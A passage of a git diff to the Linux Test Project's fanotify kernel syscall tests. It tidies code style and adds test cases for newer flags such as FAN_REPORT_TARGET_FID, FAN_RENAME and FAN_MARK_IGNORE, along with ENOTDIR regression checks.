+	SAFE_RMDIR(MNT2_PATH);
+}
 
 static struct tst_test test = {
 	.test = test_fanotify,
 	.tcnt = ARRAY_SIZE(tcases),
+	.test_variants = 2,
 	.setup = setup,
 	.cleanup = cleanup,
 	.mount_device = 1,
 	.mntpoint = MOUNT_PATH,
 	.needs_root = 1,
 	.forks_child = 1,
-	.resource_files = resource_files,
+	.resource_files = (const char *const []) {
+		TEST_APP,
+		NULL
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "9bdda4e9cf2d"},
 		{"linux-git", "2f02fd3fa13e"},
diff --git a/testcases/kernel/syscalls/fanotify/fanotify11.c b/testcases/kernel/syscalls/fanotify/fanotify11.c
index b21c986..03583d8 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify11.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify11.c
@@ -38,7 +38,7 @@
 
 static int fan_report_tid_unsupported;
 
-void *thread_create_file(void *arg LTP_ATTRIBUTE_UNUSED)
+static void *thread_create_file(void *arg LTP_ATTRIBUTE_UNUSED)
 {
 	char tid_file[64] = {0};
 
@@ -54,7 +54,7 @@
 	FAN_CLASS_NOTIF | FAN_REPORT_TID
 };
 
-void test01(unsigned int i)
+static void test01(unsigned int i)
 {
 	pthread_t p_id;
 	struct fanotify_event_metadata event;
diff --git a/testcases/kernel/syscalls/fanotify/fanotify12.c b/testcases/kernel/syscalls/fanotify/fanotify12.c
index 76f1aca..7f8e97b 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify12.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify12.c
@@ -28,7 +28,7 @@
 #include "fanotify.h"
 
 #define EVENT_MAX 1024
-#define EVENT_SIZE (sizeof (struct fanotify_event_metadata))
+#define EVENT_SIZE (sizeof(struct fanotify_event_metadata))
 #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE)
 #define EVENT_SET_BUF 32
 
@@ -190,21 +190,21 @@
 				"pid=%u, fd=%d",
 				(unsigned long long) event->mask,
 				*(tc->event_set + event_num),
-				(unsigned) event->pid,
+				(unsigned int) event->pid,
 				event->fd);
 		} else if (event->pid != child_pid) {
 			tst_res(TFAIL,
 				"Received event: mask=%llx, pid=%u (expected "
 				"%u), fd=%d",
 				(unsigned long long) event->mask,
-				(unsigned) event->pid,
-				(unsigned) child_pid,
+				(unsigned int) event->pid,
+				(unsigned int) child_pid,
 				event->fd);
 		} else {
 			tst_res(TPASS,
 				"Received event: mask=%llx, pid=%u, fd=%d",
 				(unsigned long long) event->mask,
-				(unsigned) event->pid,
+				(unsigned int) event->pid,
 				event->fd);
 		}
 
@@ -222,7 +222,8 @@
 
 static void do_setup(void)
 {
-	exec_events_unsupported = fanotify_events_supported_by_kernel(FAN_OPEN_EXEC);
+	exec_events_unsupported = fanotify_events_supported_by_kernel(FAN_OPEN_EXEC,
+								      FAN_CLASS_NOTIF, 0);
 
 	sprintf(fname, "fname_%d", getpid());
 	SAFE_FILE_PRINTF(fname, "1");
@@ -234,11 +235,6 @@
 		SAFE_CLOSE(fd_notify);
 }
 
-static const char *const resource_files[] = {
-	TEST_APP,
-	NULL
-};
-
 static struct tst_test test = {
 	.setup = do_setup,
 	.test = do_test,
@@ -246,7 +242,10 @@
 	.cleanup = do_cleanup,
 	.forks_child = 1,
 	.needs_root = 1,
-	.resource_files = resource_files
+	.resource_files = (const char *const []) {
+		TEST_APP,
+		NULL
+	}
 };
 #else
 	TST_TEST_TCONF("System does not contain required fanotify support");
diff --git a/testcases/kernel/syscalls/fanotify/fanotify13.c b/testcases/kernel/syscalls/fanotify/fanotify13.c
index 9061c1f..c3daaf3 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify13.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify13.c
@@ -12,7 +12,7 @@
  * calls statfs(2) and name_to_handle_at(2).
  */
 
- /*
+/*
  * This is also regression test for:
  *     c285a2f01d69 ("fanotify: update connector fsid cache on add mark")
  */
@@ -109,6 +109,7 @@
 static void get_object_stats(void)
 {
 	unsigned int i;
+
 	for (i = 0; i < ARRAY_SIZE(objects); i++)
 		fanotify_save_fid(objects[i].path, &objects[i].fid);
 }
@@ -181,6 +182,7 @@
 		FAN_EVENT_OK(metadata, len);
 		metadata = FAN_EVENT_NEXT(metadata, len), i++) {
 		struct fanotify_fid_t *expected_fid = &objects[i].fid;
+
 		event_fid = (struct fanotify_event_info_fid *) (metadata + 1);
 		event_file_handle = (struct file_handle *) event_fid->handle;
 
diff --git a/testcases/kernel/syscalls/fanotify/fanotify14.c b/testcases/kernel/syscalls/fanotify/fanotify14.c
index d19d557..b50505c 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify14.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify14.c
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2018 Matthew Bobrowski. All Rights Reserved.
+ * Copyright (c) Linux Test Project, 2020-2022
  *
  * Started by Matthew Bobrowski <mbobrowski@mbobrowski.org>
  */
@@ -13,6 +14,13 @@
  * mask value has been specified in conjunction with FAN_REPORT_FID.
  */
 
+/*
+ * The ENOTDIR test cases are regression tests for commits:
+ *
+ *     ceaf69f8eadc fanotify: do not allow setting dirent events in mask of non-dir
+ *     8698e3bab4dd fanotify: refine the validation checks on non-dir inode mask
+ */
+
 #define _GNU_SOURCE
 #include "tst_test.h"
 #include <errno.h>
@@ -31,6 +39,8 @@
 		      FAN_DELETE_SELF | FAN_MOVE_SELF)
 
 static int fanotify_fd;
+static int fan_report_target_fid_unsupported;
+static int ignore_mark_unsupported;
 
 /*
  * Each test case has been designed in a manner whereby the values defined
@@ -40,124 +50,175 @@
 static struct test_case_t {
 	unsigned int init_flags;
 	unsigned int mark_flags;
+	/* zero mask expects to fail on fanotify_init() */
 	unsigned long long mask;
+	int expected_errno;
 } test_cases[] = {
 	{
-		FAN_CLASS_CONTENT | FAN_REPORT_FID, 0, 0
+		/* FAN_REPORT_FID without class FAN_CLASS_NOTIF is not valid */
+		FAN_CLASS_CONTENT | FAN_REPORT_FID, 0, 0, EINVAL
 	},
 	{
-		FAN_CLASS_PRE_CONTENT | FAN_REPORT_FID, 0, 0
+		/* FAN_REPORT_FID without class FAN_CLASS_NOTIF is not valid */
+		FAN_CLASS_PRE_CONTENT | FAN_REPORT_FID, 0, 0, EINVAL
 	},
 	{
-		FAN_CLASS_NOTIF, 0, INODE_EVENTS
+		/* INODE_EVENTS in mask without class FAN_REPORT_FID are not valid */
+		FAN_CLASS_NOTIF, 0, INODE_EVENTS, EINVAL
 	},
 	{
-		FAN_CLASS_NOTIF | FAN_REPORT_FID, FAN_MARK_MOUNT, INODE_EVENTS
+		/* INODE_EVENTS in mask with FAN_MARK_MOUNT are not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_FID, FAN_MARK_MOUNT, INODE_EVENTS, EINVAL
 	},
 	{
 		/* FAN_REPORT_NAME without FAN_REPORT_DIR_FID is not valid */
-		FAN_CLASS_NOTIF | FAN_REPORT_NAME, 0, 0
+		FAN_CLASS_NOTIF | FAN_REPORT_NAME, 0, 0, EINVAL
 	},
 	{
 		/* FAN_REPORT_NAME without FAN_REPORT_DIR_FID is not valid */
-		FAN_CLASS_NOTIF | FAN_REPORT_FID | FAN_REPORT_NAME, 0, 0
+		FAN_CLASS_NOTIF | FAN_REPORT_FID | FAN_REPORT_NAME, 0, 0, EINVAL
+	},
+	{
+		/* FAN_REPORT_TARGET_FID without FAN_REPORT_FID is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_TARGET_FID | FAN_REPORT_DFID_NAME, 0, 0, EINVAL
+	},
+	{
+		/* FAN_REPORT_TARGET_FID without FAN_REPORT_NAME is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_TARGET_FID | FAN_REPORT_DFID_FID, 0, 0, EINVAL
+	},
+	{
+		/* FAN_RENAME without FAN_REPORT_NAME is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_DFID_FID, 0, FAN_RENAME, EINVAL
+	},
+	{
+		/* With FAN_MARK_ONLYDIR on non-dir is not valid */
+		FAN_CLASS_NOTIF, FAN_MARK_ONLYDIR, FAN_OPEN, ENOTDIR
+	},
+	{
+		/* With FAN_REPORT_TARGET_FID, FAN_DELETE on non-dir is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME_TARGET, 0, FAN_DELETE, ENOTDIR
+	},
+	{
+		/* With FAN_REPORT_TARGET_FID, FAN_RENAME on non-dir is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME_TARGET, 0, FAN_RENAME, ENOTDIR
+	},
+	{
+		/* With FAN_REPORT_TARGET_FID, FAN_ONDIR on non-dir is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME_TARGET, 0, FAN_OPEN | FAN_ONDIR, ENOTDIR
+	},
+	{
+		/* With FAN_REPORT_TARGET_FID, FAN_EVENT_ON_CHILD on non-dir is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME_TARGET, 0, FAN_OPEN | FAN_EVENT_ON_CHILD, ENOTDIR
+	},
+	{
+		/* FAN_MARK_IGNORE_SURV with FAN_DELETE on non-dir is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME, FAN_MARK_IGNORE_SURV, FAN_DELETE, ENOTDIR
+	},
+	{
+		/* FAN_MARK_IGNORE_SURV with FAN_RENAME on non-dir is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME, FAN_MARK_IGNORE_SURV, FAN_RENAME, ENOTDIR
+	},
+	{
+		/* FAN_MARK_IGNORE_SURV with FAN_ONDIR on non-dir is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME, FAN_MARK_IGNORE_SURV, FAN_OPEN | FAN_ONDIR, ENOTDIR
+	},
+	{
+		/* FAN_MARK_IGNORE_SURV with FAN_EVENT_ON_CHILD on non-dir is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_DFID_NAME, FAN_MARK_IGNORE_SURV, FAN_OPEN | FAN_EVENT_ON_CHILD, ENOTDIR
+	},
+	{
+		/* FAN_MARK_IGNORE without FAN_MARK_IGNORED_SURV_MODIFY on directory is not valid */
+		FAN_CLASS_NOTIF, FAN_MARK_IGNORE, FAN_OPEN, EISDIR
+	},
+	{
+		/* FAN_MARK_IGNORE without FAN_MARK_IGNORED_SURV_MODIFY on mount mark is not valid */
+		FAN_CLASS_NOTIF, FAN_MARK_MOUNT | FAN_MARK_IGNORE, FAN_OPEN, EINVAL
+	},
+	{
+		/* FAN_MARK_IGNORE without FAN_MARK_IGNORED_SURV_MODIFY on filesystem mark is not valid */
+		FAN_CLASS_NOTIF, FAN_MARK_FILESYSTEM | FAN_MARK_IGNORE, FAN_OPEN, EINVAL
+	},
+	{
+		/* FAN_REPORT_TARGET_FID without FAN_REPORT_FID is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_TARGET_FID | FAN_REPORT_DFID_NAME, 0, 0
+	},
+	{
+		/* FAN_REPORT_TARGET_FID without FAN_REPORT_NAME is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_TARGET_FID | FAN_REPORT_DFID_FID, 0, 0
+	},
+	{
+		/* FAN_RENAME without FAN_REPORT_NAME is not valid */
+		FAN_CLASS_NOTIF | FAN_REPORT_DFID_FID, 0, FAN_RENAME
 	},
 };
 
 static void do_test(unsigned int number)
 {
-	int ret;
 	struct test_case_t *tc = &test_cases[number];
 
-	fanotify_fd = fanotify_init(tc->init_flags, O_RDONLY);
-	if (fanotify_fd < 0) {
-		/*
-		 * EINVAL is to be returned to the calling process when
-		 * an invalid notification class is specified in
-		 * conjunction with FAN_REPORT_FID.
-		 */
-		if (errno == EINVAL) {
-			tst_res(TPASS,
-				"fanotify_fd=%d, fanotify_init(%x, O_RDONLY) "
-				"failed with error EINVAL as expected",
-				fanotify_fd,
-				tc->init_flags);
-			return;
-		}
-		tst_brk(TBROK | TERRNO,
-			"fanotify_fd=%d, fanotify_init(%x, O_RDONLY) failed",
-			fanotify_fd,
-			tc->init_flags);
+	if (fan_report_target_fid_unsupported && tc->init_flags & FAN_REPORT_TARGET_FID) {
+		FANOTIFY_INIT_FLAGS_ERR_MSG(FAN_REPORT_TARGET_FID,
+					    fan_report_target_fid_unsupported);
+		return;
 	}
 
+	if (ignore_mark_unsupported && tc->mark_flags & FAN_MARK_IGNORE) {
+		tst_res(TCONF, "FAN_MARK_IGNORE not supported in kernel?");
+		return;
+	}
+
+	TST_EXP_FD_OR_FAIL(fanotify_fd = fanotify_init(tc->init_flags, O_RDONLY),
+			   !tc->mask && tc->expected_errno ? tc->expected_errno : 0);
+
+	if (fanotify_fd < 0)
+		return;
+
+	if (!tc->mask)
+		goto out;
+
+	/* Set mark on non-dir only when expecting error ENOTDIR */
+	const char *path = tc->expected_errno == ENOTDIR ? FILE1 : MNTPOINT;
+
+	TST_EXP_FD_OR_FAIL(fanotify_mark(fanotify_fd, FAN_MARK_ADD | tc->mark_flags,
+					 tc->mask, AT_FDCWD, path),
+					 tc->expected_errno);
+
 	/*
-	 * A test case with a mask set to zero indicate that they've been
-	 * specifically designed to test and fail on the fanotify_init()
-	 * system call.
+	 * ENOTDIR are errors for events/flags not allowed on a non-dir inode.
+	 * Try to set an inode mark on a directory and it should succeed.
+	 * Try to set directory events in filesystem mark mask on non-dir
+	 * and it should succeed.
 	 */
-	if (tc->mask == 0) {
-		tst_res(TFAIL,
-			"fanotify_fd=%d fanotify_init(%x, O_RDONLY) "
-			"unexpectedly succeeded when tests with mask 0 are"
-			"expected to fail when calling fanotify_init()",
-			fanotify_fd,
-			tc->init_flags);
-		goto out;
-	}
+	if (TST_PASS && tc->expected_errno == ENOTDIR) {
+		SAFE_FANOTIFY_MARK(fanotify_fd, FAN_MARK_ADD | tc->mark_flags,
+				   tc->mask, AT_FDCWD, MNTPOINT);
+		tst_res(TPASS,
+			"Adding an inode mark on directory did not fail with "
+			"ENOTDIR error as on non-dir inode");
 
-	ret = fanotify_mark(fanotify_fd, FAN_MARK_ADD | tc->mark_flags,
-				tc->mask, AT_FDCWD, FILE1);
-	if (ret < 0) {
-		/*
-		 * EINVAL is to be returned to the calling process when
-		 * attempting to use INODE_EVENTS without FAN_REPORT_FID
-		 * specified on the notification group, or using
-		 * INODE_EVENTS with mark type FAN_MARK_MOUNT.
-		 */
-		if (errno == EINVAL) {
+		if (!(tc->mark_flags & FAN_MARK_ONLYDIR)) {
+			SAFE_FANOTIFY_MARK(fanotify_fd, FAN_MARK_ADD | tc->mark_flags |
+					   FAN_MARK_FILESYSTEM, tc->mask,
+					   AT_FDCWD, FILE1);
 			tst_res(TPASS,
-				"ret=%d, fanotify_mark(%d, FAN_MARK_ADD | %x, "
-				"%llx, AT_FDCWD, %s) failed with error EINVAL "
-				"as expected",
-				ret,
-				fanotify_fd,
-				tc->mark_flags,
-				tc->mask,
-				FILE1);
-			goto out;
+				"Adding a filesystem mark on non-dir did not fail with "
+				"ENOTDIR error as with an inode mark");
 		}
-		tst_brk(TBROK | TERRNO,
-			"ret=%d, fanotify_mark(%d, FAN_MARK_ADD | %x, %llx, "
-			"AT_FDCWD, %s) failed",
-			ret,
-			fanotify_fd,
-			tc->mark_flags,
-			tc->mask,
-			FILE1);
 	}
 
-	tst_res(TFAIL,
-		"fanotify_fd=%d, ret=%d, fanotify_init(%x, O_RDONLY) and "
-		"fanotify_mark(%d, FAN_MARK_ADD | %x, %llx, AT_FDCWD, %s) did "
-		"not return any errors as expected",
-		fanotify_fd,
-		ret,
-		tc->init_flags,
-		fanotify_fd,
-		tc->mark_flags,
-		tc->mask,
-		FILE1);
 out:
-	SAFE_CLOSE(fanotify_fd);
+	if (fanotify_fd > 0)
+		SAFE_CLOSE(fanotify_fd);
 }
 
 static void do_setup(void)
 {
-	int fd;
+	/* Require FAN_REPORT_FID support for all tests to simplify per test case requirements */
+	REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(FAN_REPORT_FID, MNTPOINT);
 
-	/* Check for kernel fanotify support */
-	fd = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF, O_RDONLY);
-	SAFE_CLOSE(fd);
+	fan_report_target_fid_unsupported =
+		fanotify_init_flags_supported_on_fs(FAN_REPORT_DFID_NAME_TARGET, MNTPOINT);
+	ignore_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_IGNORE_SURV);
 
 	/* Create temporary test file to place marks on */
 	SAFE_FILE_PRINTF(FILE1, "0");
@@ -177,7 +238,12 @@
 	.cleanup = do_cleanup,
 	.mount_device = 1,
 	.mntpoint = MNTPOINT,
-	.all_filesystems = 1
+	.all_filesystems = 1,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "ceaf69f8eadc"},
+		{"linux-git", "8698e3bab4dd"},
+		{}
+	}
 };
 
 #else
diff --git a/testcases/kernel/syscalls/fanotify/fanotify15.c b/testcases/kernel/syscalls/fanotify/fanotify15.c
index a7736af..6109d32 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify15.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify15.c
@@ -34,10 +34,10 @@
 /* Size of the event structure, not including file handle */
 #define EVENT_SIZE (sizeof(struct fanotify_event_metadata) + \
 		    sizeof(struct fanotify_event_info_fid))
+
 /* Double events buffer size to account for file handles */
 #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE * 2)
 
-
 #define MOUNT_POINT "mntpoint"
 #define TEST_DIR MOUNT_POINT"/test_dir"
 #define DIR1 TEST_DIR"/dir1"
@@ -161,7 +161,7 @@
 			  FAN_DELETE_SELF | FAN_ONDIR,
 			  AT_FDCWD, DIR1) == -1) {
 		tst_brk(TBROK | TERRNO,
-			"fanotify_mark(%d, FAN_MARK_ADD | %s,"
+			"fanotify_mark(%d, FAN_MARK_ADD | %s, "
 			"FAN_DELETE_SELF | FAN_ONDIR, AT_FDCWD, %s) failed",
 			fanotify_fd, mark->name, DIR1);
 	}
@@ -187,6 +187,7 @@
 	for (i = 0, metadata = (struct fanotify_event_metadata *) events_buf;
 		FAN_EVENT_OK(metadata, len); i++) {
 		struct event_t *expected = &event_set[i];
+
 		event_fid = (struct fanotify_event_info_fid *) (metadata + 1);
 		event_file_handle = (struct file_handle *) event_fid->handle;
 
@@ -208,15 +209,15 @@
 				"Got event: mask=%llx (expected %llx) "
 				"pid=%u fd=%d",
 				(unsigned long long) metadata->mask,
-				expected->mask, (unsigned) metadata->pid,
+				expected->mask, (unsigned int) metadata->pid,
 				metadata->fd);
 		} else if (metadata->pid != getpid()) {
 			tst_res(TFAIL,
 				"Got event: mask=%llx pid=%u "
 				"(expected %u) fd=%d",
 				(unsigned long long) metadata->mask,
-				(unsigned) metadata->pid,
-				(unsigned) getpid(),
+				(unsigned int) metadata->pid,
+				(unsigned int) getpid(),
 				metadata->fd);
 		} else if (event_file_handle->handle_bytes !=
 			   expected->fid->handle.handle_bytes) {
diff --git a/testcases/kernel/syscalls/fanotify/fanotify16.c b/testcases/kernel/syscalls/fanotify/fanotify16.c
index 357f421..d33e945 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify16.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify16.c
@@ -14,6 +14,7 @@
  * - FAN_REPORT_DIR_FID   (dir fid)
  * - FAN_REPORT_DIR_FID | FAN_REPORT_FID   (dir fid + child fid)
  * - FAN_REPORT_DFID_NAME | FAN_REPORT_FID (dir fid + name + child fid)
+ * - FAN_REPORT_DFID_NAME_TARGET (dir fid + name + created/deleted file fid)
  */
 
 #define _GNU_SOURCE
@@ -36,10 +37,10 @@
 /* Size of the event structure, not including file handle */
 #define EVENT_SIZE (sizeof(struct fanotify_event_metadata) + \
 		    sizeof(struct fanotify_event_info_fid))
+
 /* Tripple events buffer size to account for file handles and names */
 #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE * 3)
 
-
 #define BUF_SIZE 256
 
 #ifdef HAVE_NAME_TO_HANDLE_AT
@@ -48,10 +49,13 @@
 	struct fanotify_fid_t *fid;
 	struct fanotify_fid_t *child_fid;
 	char name[BUF_SIZE];
+	char name2[BUF_SIZE];
+	char *old_name;
+	char *new_name;
 };
 
 static char fname1[BUF_SIZE + 11], fname2[BUF_SIZE + 11];
-static char dname1[BUF_SIZE], dname2[BUF_SIZE];
+static char dname1[BUF_SIZE], dname2[BUF_SIZE], tmpdir[BUF_SIZE];
 static int fd_notify;
 
 static struct event_t event_set[EVENT_MAX];
@@ -63,6 +67,10 @@
 #define FILE_NAME1 "test_file1"
 #define FILE_NAME2 "test_file2"
 #define MOUNT_PATH "fs_mnt"
+#define TEMP_DIR MOUNT_PATH "/temp_dir"
+
+static int fan_report_target_fid_unsupported;
+static int rename_events_unsupported;
 
 static struct test_case_t {
 	const char *tname;
@@ -71,6 +79,7 @@
 	unsigned long mask;
 	struct fanotify_mark_type sub_mark;
 	unsigned long sub_mask;
+	unsigned long tmpdir_ignored_mask;
 } test_cases[] = {
 	{
 		"FAN_REPORT_DFID_NAME monitor filesystem for create/delete/move/open/close",
@@ -80,6 +89,7 @@
 		/* Mount watch for events possible on children */
 		INIT_FANOTIFY_MARK_TYPE(MOUNT),
 		FAN_OPEN | FAN_CLOSE | FAN_ONDIR,
+		0,
 	},
 	{
 		"FAN_REPORT_DFID_NAME monitor directories for create/delete/move/open/close",
@@ -90,6 +100,7 @@
 		INIT_FANOTIFY_MARK_TYPE(INODE),
 		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR |
 		FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD,
+		0,
 	},
 	{
 		"FAN_REPORT_DIR_FID monitor filesystem for create/delete/move/open/close",
@@ -99,6 +110,7 @@
 		/* Mount watch for events possible on children */
 		INIT_FANOTIFY_MARK_TYPE(MOUNT),
 		FAN_OPEN | FAN_CLOSE | FAN_ONDIR,
+		0,
 	},
 	{
 		"FAN_REPORT_DIR_FID monitor directories for create/delete/move/open/close",
@@ -109,6 +121,7 @@
 		INIT_FANOTIFY_MARK_TYPE(INODE),
 		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR |
 		FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD,
+		0,
 	},
 	{
 		"FAN_REPORT_DFID_FID monitor filesystem for create/delete/move/open/close",
@@ -118,6 +131,7 @@
 		/* Mount watch for events possible on children */
 		INIT_FANOTIFY_MARK_TYPE(MOUNT),
 		FAN_OPEN | FAN_CLOSE | FAN_ONDIR,
+		0,
 	},
 	{
 		"FAN_REPORT_DFID_FID monitor directories for create/delete/move/open/close",
@@ -128,6 +142,7 @@
 		INIT_FANOTIFY_MARK_TYPE(INODE),
 		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR |
 		FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD,
+		0,
 	},
 	{
 		"FAN_REPORT_DFID_NAME_FID monitor filesystem for create/delete/move/open/close",
@@ -137,6 +152,7 @@
 		/* Mount watch for events possible on children */
 		INIT_FANOTIFY_MARK_TYPE(MOUNT),
 		FAN_OPEN | FAN_CLOSE | FAN_ONDIR,
+		0,
 	},
 	{
 		"FAN_REPORT_DFID_NAME_FID monitor directories for create/delete/move/open/close",
@@ -147,6 +163,93 @@
 		INIT_FANOTIFY_MARK_TYPE(INODE),
 		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR |
 		FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD,
+		0,
+	},
+	{
+		"FAN_REPORT_DFID_NAME_TARGET monitor filesystem for create/delete/move/open/close",
+		INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_TARGET),
+		INIT_FANOTIFY_MARK_TYPE(FILESYSTEM),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR,
+		/* Mount watch for events possible on children */
+		INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		FAN_OPEN | FAN_CLOSE | FAN_ONDIR,
+		0,
+	},
+	{
+		"FAN_REPORT_DFID_NAME_TARGET monitor directories for create/delete/move/open/close",
+		INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_TARGET),
+		INIT_FANOTIFY_MARK_TYPE(INODE),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_ONDIR,
+		/* Watches for self events on subdir and events on subdir's children */
+		INIT_FANOTIFY_MARK_TYPE(INODE),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR |
+		FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD,
+		0,
+	},
+	{
+		"FAN_REPORT_DFID_NAME_FID monitor filesystem for create/delete/move/rename/open/close",
+		INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_FID),
+		INIT_FANOTIFY_MARK_TYPE(FILESYSTEM),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR,
+		/* Mount watch for events possible on children */
+		INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		FAN_OPEN | FAN_CLOSE | FAN_ONDIR,
+		0,
+	},
+	{
+		"FAN_REPORT_DFID_NAME_FID monitor directories for create/delete/move/rename/open/close",
+		INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_FID),
+		INIT_FANOTIFY_MARK_TYPE(INODE),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_ONDIR,
+		/* Watches for self events on subdir and events on subdir's children */
+		INIT_FANOTIFY_MARK_TYPE(INODE),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR |
+		FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD,
+		0,
+	},
+	{
+		"FAN_REPORT_DFID_NAME_TARGET monitor filesystem for create/delete/move/rename/open/close",
+		INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_TARGET),
+		INIT_FANOTIFY_MARK_TYPE(FILESYSTEM),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR,
+		/* Mount watch for events possible on children */
+		INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		FAN_OPEN | FAN_CLOSE | FAN_ONDIR,
+		0,
+	},
+	{
+		"FAN_REPORT_DFID_NAME_TARGET monitor directories for create/delete/move/rename/open/close",
+		INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_TARGET),
+		INIT_FANOTIFY_MARK_TYPE(INODE),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_ONDIR,
+		/* Watches for self events on subdir and events on subdir's children */
+		INIT_FANOTIFY_MARK_TYPE(INODE),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR |
+		FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD,
+		0,
+	},
+	{
+		"FAN_REPORT_DFID_NAME_FID monitor directories and ignore FAN_RENAME events to/from temp directory",
+		INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_FID),
+		INIT_FANOTIFY_MARK_TYPE(INODE),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_ONDIR,
+		/* Watches for self events on subdir and events on subdir's children */
+		INIT_FANOTIFY_MARK_TYPE(INODE),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR |
+		FAN_OPEN | FAN_CLOSE | FAN_EVENT_ON_CHILD,
+		/* Ignore FAN_RENAME to/from tmpdir */
+		FAN_MOVE | FAN_RENAME,
+	},
+	{
+		"FAN_REPORT_DFID_NAME_FID monitor filesystem and ignore FAN_RENAME events to/from temp directory",
+		INIT_FANOTIFY_GROUP_TYPE(REPORT_DFID_NAME_FID),
+		INIT_FANOTIFY_MARK_TYPE(FILESYSTEM),
+		FAN_CREATE | FAN_DELETE | FAN_MOVE | FAN_RENAME | FAN_DELETE_SELF | FAN_MOVE_SELF | FAN_ONDIR,
+		/* Mount watch for events possible on children */
+		INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		FAN_OPEN | FAN_CLOSE | FAN_ONDIR,
+		/* Ignore FAN_RENAME to/from tmpdir */
+		FAN_MOVE | FAN_RENAME,
 	},
 };
 
@@ -158,9 +261,26 @@
 	struct fanotify_mark_type *mark = &tc->mark;
 	struct fanotify_mark_type *sub_mark = &tc->sub_mark;
 	struct fanotify_fid_t root_fid, dir_fid, file_fid;
+	struct fanotify_fid_t *child_fid = NULL, *subdir_fid = NULL;
+	int report_name = (group->flag & FAN_REPORT_NAME);
+	int report_target_fid = (group->flag & FAN_REPORT_TARGET_FID);
+	int report_rename = (tc->mask & FAN_RENAME);
+	int fs_mark = (mark->flag == FAN_MARK_FILESYSTEM);
+	int rename_ignored = (tc->tmpdir_ignored_mask & FAN_RENAME);
 
 	tst_res(TINFO, "Test #%d: %s", number, tc->tname);
 
+	if (report_rename && rename_events_unsupported) {
+		tst_res(TCONF, "FAN_RENAME not supported in kernel?");
+		return;
+	}
+
